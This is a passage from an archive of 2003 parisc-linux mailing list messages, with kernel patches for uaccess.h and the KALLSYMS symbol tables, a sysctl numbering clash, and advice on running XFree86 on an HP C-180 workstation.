 }
 
 static u16 ad1889_codec_read(struct ac97_codec *ac97, u8 reg)
@@ -1059,7 +1059,7 @@
 	name:		DEVNAME,
 	id_table:	ad1889_id_tbl,
 	probe:		ad1889_probe,
-	remove:		ad1889_remove,
+	remove:		__devexit_p(ad1889_remove),
 };
 
 static int __init ad1889_init_module(void)

- another cleanup (don't remember why :-?)

diff -NaurX dontdiff linux-2.4.21-pa0/include/asm-parisc/ide.h linux-2.4.21-rc8-pa35/include/asm-parisc/ide.h
--- linux-2.4.21-pa0/include/asm-parisc/ide.h	2003-06-27 07:49:55.000000000
+0200
+++ linux-2.4.21-rc8-pa35/include/asm-parisc/ide.h	2003-06-05 16:55:22.000000000
+0200
@@ -20,8 +20,6 @@
 #define MAX_HWIFS	2
 #endif
 
-#define ide__sti()      __sti()
-
 static __inline__ int ide_default_irq(ide_ioreg_t base)
 {
 	switch (base) {

- and last (please see comments below, thanks)

diff -NaurX dontdiff linux-2.4.21-pa0/include/asm-parisc/uaccess.h linux-2.4.21-rc8-pa35/include/asm-parisc/uaccess.h
--- linux-2.4.21-pa0/include/asm-parisc/uaccess.h	2002-10-28 08:05:18.000000000
+0100
+++ linux-2.4.21-rc8-pa35/include/asm-parisc/uaccess.h	2003-06-11 14:39:12.000000000
+0200
@@ -28,6 +28,11 @@
  * that put_user is the same as __put_user, etc.
  */
 
+extern int __get_kernel_bad(void);
+extern int __get_user_bad(void);
+extern int __put_kernel_bad(void);
+extern int __put_user_bad(void);
+
 #define access_ok(type,addr,size)   (1)
 #define verify_area(type,addr,size) (0)
 
@@ -35,8 +40,12 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
+#define LDD_KERNEL(ptr)		__get_kernel_bad();
+#define LDD_USER(ptr)		__get_user_bad();
+/*
+#define STD_KERNEL(x, ptr)	__put_kernel_bad();
+#define STD_USER(x, ptr)	__put_user_bad();
+*/
 #define STD_KERNEL(x, ptr) __put_kernel_asm64(x,ptr)
 #define STD_USER(x, ptr) __put_user_asm64(x,ptr)
 #else
@@ -75,7 +84,7 @@
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: __get_kernel_bad(); break;         \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -84,7 +93,7 @@
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: __get_user_bad(); break;           \
 	    }                                           \
 	}                                               \
 							\
@@ -144,7 +153,7 @@
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -153,7 +162,7 @@
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 								\
@@ -211,45 +220,36 @@
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%0)\n"
-		"\n2:\tstw %2,4(%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"a\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%%sr3,%0)\n"
-		"\n2:\tstw %2,4(%%sr3,%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"a\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
+#define __put_kernel_asm64(x, ptr)		\
+	__asm__ __volatile__ (			\
+		"\n1:\tstw\t%2,0(%1)\n"		\
+		"2:\tstw\t%R2,4(%1)\n"		\
+		"3:\n"				\
+		"\t.section __ex_table,\"a\"\n"	\
+		 "\t.word\t1b\n"		\
+		 "\t.word\t(3b-1b)+1\n"		\
+		 "\t.word\t2b\n"		\
+		 "\t.word\t(3b-2b)+1\n"		\
+		 "\t.previous"			\
+		: "=r"(__pu_err)		\
+		: "r"(ptr), "r"(x), "0"(__pu_err))
 
-}
+#define __put_user_asm64(x, ptr)		\
+	__asm__ __volatile__ (			\
+		"\n1:\tstw\t%2,0(%%sr3,%1)\n"	\
+		"2:\tstw\t%R2,4(%%sr3,%1)\n"	\
+		"3:\n"				\
+		"\t.section __ex_table,\"a\"\n"	\
+		 "\t.word\t1b\n"		\
+		 "\t.word\t(3b-1b)+1\n"		\
+		 "\t.word\t2b\n"		\
+		 "\t.word\t(3b-2b)+1\n"		\
+		 "\t.previous"			\
+		: "=r"(__pu_err)		\
+		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 #endif
 
-
 /*
  * Complex access routines -- external declarations
  */

================================================================================
Comments:

- The first changes (xxx_bad(void)) was agreed earlier by Randolph but never
comited (?). The goal is to breack the build of the kernel and so avoid the
risk to boot one (as I do when I test evms or [xj]fs which required __put_XXX_asm64)
which can unexpected damages

- The second replace Randolph __put_XXX_asm64(); it does the same job and
avoid severall warning at compile time as:
[...]
binfmt_elf.c:225: warning: passing arg 1 of `__put_kernel_asm64' makes integer
from pointer without a cast
binfmt_elf.c:225: warning: passing arg 1 of `__put_user_asm64' makes integer
from pointer without a cast
binfmt_elf.c:226: warning: passing arg 1 of `__put_kernel_asm64' makes integer
from pointer without a cast
binfmt_elf.c:226: warning: passing arg 1 of `__put_user_asm64' makes integer
from pointer without a cast
binfmt_elf.c:236: warning: passing arg 1 of `__put_kernel_asm64' makes integer
from pointer without a cast
binfmt_elf.c:236: warning: passing arg 1 of `__put_user_asm64' makes integer
from pointer without a cast
[...]

Thanks in advance for your attention,
    Joel




---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Fri, 27 Jun 2003 18:21:37 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <3ED70CF10000AE35@ocpmta2.freegates.net>
References: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622542 27055 80.91.229.3 (22 Nov 2014 02:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:42 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 10:21:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D68474829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Jun 2003 10:21:40 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Vvx6-0000XF-00; Fri, 27 Jun 2003 18:19:56 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 27 Jun 2003 18:21:37 +0200
In-Reply-To: <20030626170628.GO451@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18758

Too bad in 2.4.22-pre2:

diff -urN linux-2.4.22-pre1/include/linux/sysctl.h linux-2.4.22-pre2/include/linux/sysctl.h
--- linux-2.4.22-pre1/include/linux/sysctl.h	2003-06-13 07:51:39.000000000
-0700
+++ linux-2.4.22-pre2/include/linux/sysctl.h	2003-06-26 15:02:23.000000000
-0700
@@ -125,6 +125,7 @@
 	KERN_TAINTED=53,	/* int: various kernel tainted flags */
 	KERN_CADPID=54,		/* int: PID of the process to notify on CAD */
  	KERN_CORE_PATTERN=56,	/* string: pattern for core-files */
+	KERN_PPC_L3CR=57,       /* l3cr register on PPC */
 };
 
 
which interfere with your:
 	KERN_HPPA_PWRSW=57,	/* int: hppa soft-power enable */
 	KERN_HPPA_UNALIGNED=58,	/* int: hppa unaligned-trap enable */
};

What to do?

Thanks,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Fri, 27 Jun 2003 10:54:51 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20030627165451.GB371@dsl2.external.hp.com>
References: <20030627151546.GA30607@dsl2.external.hp.com> <3ED70CF10000AE2E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622543 27056 80.91.229.3 (22 Nov 2014 02:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 10:54:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B59094829; Fri, 27 Jun 2003 10:54:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED70CF10000AE2E@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18759

Joel,
I mistakenly replied only to you on my previous mail.
Can you please forward my previous reply to parisc-linux mailing list
or send a copy back to me - I'll post it to the list then.

On Fri, Jun 27, 2003 at 06:14:58PM +0200, Joel Soete wrote:
> Hi Grant,
> 
> > diff -NaurX dontdiff linux-2.4.21-pa0/drivers/ide/pci/ns87415.c linux-2.4.21-rc8-pa35/drivers/ide/pci/ns87415.c
> 
> > This is for c3000/j5000/et al workstations.
> > NS "SuckyIO" multifunction chip includes ns87415 compatible IDE controller.
> 
> ...
> >> +#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
> >> +#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
> >> +
> 
> > This is something different - but I'd think this is needed too.
> > Make sure this isn't a merge error (ie see if it's defined elsewhere).
> 
> I need it to make work my ide cdrom onto my b2k (I grab this stuff
> from another platform)

ah ok.

The IDE CDROM are pretty standard devices. Note the DMA does NOT work.
And even with PIO mode, it just barely works - enough to do an install.
So don't use it too much unless you can afford to crash your box.
At least that was my experience with 2.4.19 or so.

> The following stuff is just a variant (just for info)

ok.

...
> > If they are no longer referenced, that's fine.
> hmm in fact the last ref of 'cpu_irq_actions' is in arch/parisc/kernel/processor.c
> and now embrace by #if 0 [...] #endif
> (I will see to cleanup too)
> ...

ok

> 
> > I need the above changes in a format that I apply with "patch -p1 < diff"
> 
> Here is attached Mydiff2421.txt

ok. let me apply local and try it out first. If all is well, should see
something by this weekend.

thanks,
grant


From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: 27 Jun 2003 17:52:08 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1056732728.4348.52.camel@dhcp22.swansea.linux.org.uk>
References: <3ED70CF10000AE35@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622543 27057 80.91.229.3 (22 Nov 2014 02:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:43 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 10:55:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAA5C4829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Jun 2003 10:55:05 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h5RGqAKd005042;
	Fri, 27 Jun 2003 17:52:11 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h5RGq9tX005040;
	Fri, 27 Jun 2003 17:52:09 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3ED70CF10000AE35@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18760

On Gwe, 2003-06-27 at 17:21, Joel Soete wrote:
> which interfere with your:
>  	KERN_HPPA_PWRSW=57,	/* int: hppa soft-power enable */
>  	KERN_HPPA_UNALIGNED=58,	/* int: hppa unaligned-trap enable */
> };
> 
> What to do?

Get the HP ones into 2.5 then they are fixed "right" values



From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix for local symbols appearing in CONFIG_KALLSYMS traces
Date: 27 Jun 2003 22:37:48 -0500
Lines: 135
Approved: news@gmane.org
Message-ID: <1056771469.1825.210.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-mFDCIPy6JwGD91p7aSFq"
X-Trace: ger.gmane.org 1416622543 27060 80.91.229.3 (22 Nov 2014 02:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:43 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 21:37:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32F114829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jun 2003 21:37:50 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h5S3bmI27029
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jun 2003 23:37:49 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18761

--=-mFDCIPy6JwGD91p7aSFq
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

One of the problems with KALLSYMS on parisc is that our toolchain
generates lots of local symbols with names like .LNNN and .LCNNN which
are multiply defined and thus spoil symbolic backtraces.

I suspect the true fix is probably to force the parisc binutils to give
them empty names when it emits elf object, but until binutils does this,
the attached patch eliminates them from the kernel object and from
loaded objects.

The patch is fairly awful, particularly the messing with the contents of
a pointer to a constant area in module_finalize, but it does eliminate
the problem.

Would this be OK to people until binutils sorts out the problem for us?

James


--=-mFDCIPy6JwGD91p7aSFq
Content-Disposition: inline; filename=tmp1.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; name=tmp1.diff; charset=ISO-8859-1

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher=
.
# This patch includes the following deltas:
#	           ChangeSet	1.1466  -> 1.1467=20
#	arch/parisc/Makefile	1.20    -> 1.21  =20
#	arch/parisc/kernel/module.c	1.5     -> 1.6   =20
#	               (new)	        -> 1.1     arch/parisc/nm=20
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 03/06/27	jejb@raven.il.steeleye.com	1.1467
# Fix parisc local symbol problem with CONFIG_KALLSYMS
# --------------------------------------------
#
diff -Nru a/arch/parisc/Makefile b/arch/parisc/Makefile
--- a/arch/parisc/Makefile	Fri Jun 27 22:29:20 2003
+++ b/arch/parisc/Makefile	Fri Jun 27 22:29:20 2003
@@ -16,7 +16,7 @@
 # Modified for PA-RISC Linux by Paul Lahaie, Alex deVries,=20
 # Mike Shaver, Helge Deller and Martin K. Petersen
 #
-
+NM		=3D sh arch/parisc/nm
 ifdef CONFIG_PARISC64
 CROSS_COMPILE	:=3D hppa64-linux-
 UTS_MACHINE	:=3D parisc64
diff -Nru a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
--- a/arch/parisc/kernel/module.c	Fri Jun 27 22:29:20 2003
+++ b/arch/parisc/kernel/module.c	Fri Jun 27 22:29:20 2003
@@ -671,6 +671,11 @@
 		    const Elf_Shdr *sechdrs,
 		    struct module *me)
 {
+	int i;
+	unsigned long nsyms;
+	const char *strtab =3D NULL;
+	Elf_Sym *newptr, *oldptr;
+	Elf_Shdr *symhdr =3D NULL;
 #ifdef DEBUG
 	struct fdesc_entry *entry;
 	u32 *addr;
@@ -690,7 +695,49 @@
 	       me->arch.got_count, me->arch.got_max,
 	       me->arch.fdesc_count, me->arch.fdesc_max);
 #endif
-	=09
+
+	/* haven't filled in me->symtab yet, so have to find it
+	 * ourselves */
+	for (i =3D 1; i < hdr->e_shnum; i++) {
+		if(sechdrs[i].sh_type =3D=3D SHT_SYMTAB
+		   && (sechdrs[i].sh_type & SHF_ALLOC)) {
+			int strindex =3D sechdrs[i].sh_link;
+			/* FIXME: AWFUL HACK
+			 * The cast is to drop the const from
+			 * the sechdrs pointer */
+			symhdr =3D (Elf_Shdr *)&sechdrs[i];
+			strtab =3D (char *)sechdrs[strindex].sh_addr;
+			break;
+		}
+	}
+
+	printk("module %s: strtab %p, symhdr %p\n",
+	       me->name, strtab, symhdr);
+=09
+	/* no symbol table */
+	if(symhdr =3D=3D NULL)
+		return 0;
+
+	oldptr =3D (void *)symhdr->sh_addr;
+	newptr =3D oldptr + 1;	/* we start counting at 1 */
+	nsyms =3D symhdr->sh_size / sizeof(Elf_Sym);
+	printk("OLD num_symtab %lu\n", nsyms);
+
+	for (i =3D 1; i < nsyms; i++) {
+		oldptr++;	/* note, count starts at 1 so preincrement */
+		if(strncmp(strtab + oldptr->st_name,
+			      ".L", 2) =3D=3D 0)
+			continue;
+
+		if(newptr !=3D oldptr)
+			*newptr++ =3D *oldptr;
+		else
+			newptr++;
+
+	}
+	nsyms =3D newptr - (Elf_Sym *)symhdr->sh_addr;
+	printk("NEW num_symtab %lu\n", nsyms);
+	symhdr->sh_size =3D nsyms * sizeof(Elf_Sym);
 	return 0;
 }
=20
diff -Nru a/arch/parisc/nm b/arch/parisc/nm
--- /dev/null	Wed Dec 31 16:00:00 1969
+++ b/arch/parisc/nm	Fri Jun 27 22:29:20 2003
@@ -0,0 +1,6 @@
+#!/bin/sh
+##
+# Hack to have an nm which removes the local symbols.  We also rely
+# on this nm being hidden out of the ordinarily executable path
+##
+${CROSS_COMPILE}nm $* | grep -v '.LC*[0-9]*$'

--=-mFDCIPy6JwGD91p7aSFq--



From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charles Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting XF86 to run on a C-180 box
Date: Sat, 28 Jun 2003 00:17:01 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <5DC820FC-A91F-11D7-830E-000393581E44@speakeasy.net>
References: <3EF99C53.7070200@optusnet.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622543 27061 80.91.229.3 (22 Nov 2014 02:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:43 +0000 (UTC)
Cc: gentoo-user@gentoo.org,
	PA-RISC Users <parisc-linux@lists.parisc-linux.org>
To: Rod Smart <snaketails@optusnet.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 27 22:16:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail11.speakeasy.net [216.254.0.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BBFF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Jun 2003 22:16:55 -0600 (MDT)
Original-Received: (qmail 27505 invoked from network); 28 Jun 2003 04:16:54 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gentoo-user@gentoo.org>; 28 Jun 2003 04:16:54 -0000
In-Reply-To: <3EF99C53.7070200@optusnet.com.au>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18762

On Wednesday, Jun 25, 2003, at 08:57 US/Eastern, Rod Smart wrote:

>    I have a C-180 Visualize RISC system with a (GSC) "A4070" video  
> card with a "A4747" daughter card.

>    I would like to get this thing into doing something more than  
> heating my bedroom, so I am wondering if anyone has a XF86Config file  
> that I could get the video driver settings for the above card  
> configuration.
>
>    I have tried "fbdev" but even at Depth=8 I have not been able to  
> get xfree running.

That should work provided you have a "1280x1024" mode defined and set  
the "fbdev" option to "/dev/fb1". But, I suppose you want fb0, right?

>
>    I searched through the old mail archives but I couldn't find much  
> more than the "fbdev" setup.

This thread should help:

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/ 
019064.html

>    When I do the  command line from one of the mail list messages i  
> get the following.
>
> vorlon portage # dmesg | grep stifb
> fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:  
> 0xf8100000
> fb1: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio:  
> 0xfa100000
>
>    I'm not sure what this means, but I think the "-8" and the "-32" is  
> the depth.

That is correct, and the "1280x1024" corresponds to the resolution as  
specified in the PDC. IIRC, the A4070-* devices (HCRX family) only  
worked at this resolution, but might be switchable between 75hz VESA  
(separate H/V sync) and 72hz (sync-on-green). If your monitor is not  
receiving a sync signal use a serial console (power-on with the PS/2  
keyboard detached, 9600/8/n/1) and try the "co mo" command to view the  
video setting. "co mo list" should give you a list of options available  
for each of your two devices.

BTW, you might want to grab copies of the service manual & owner's  
guide for future reference:

http://h20000.www2.hp.com/bizsupport/TechSupport/ 
DocumentIndex.jsp?contentType=SupportManual&docIndexId=120929&locale=en_ 
US&prodTypeId=12454&prodSeriesId=44435

-chuck



From - Thu Nov 08 21:28:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] warning: minor abi change]
Date: Sat, 28 Jun 2003 10:35:25 +0000
Lines: 119
Approved: news@gmane.org
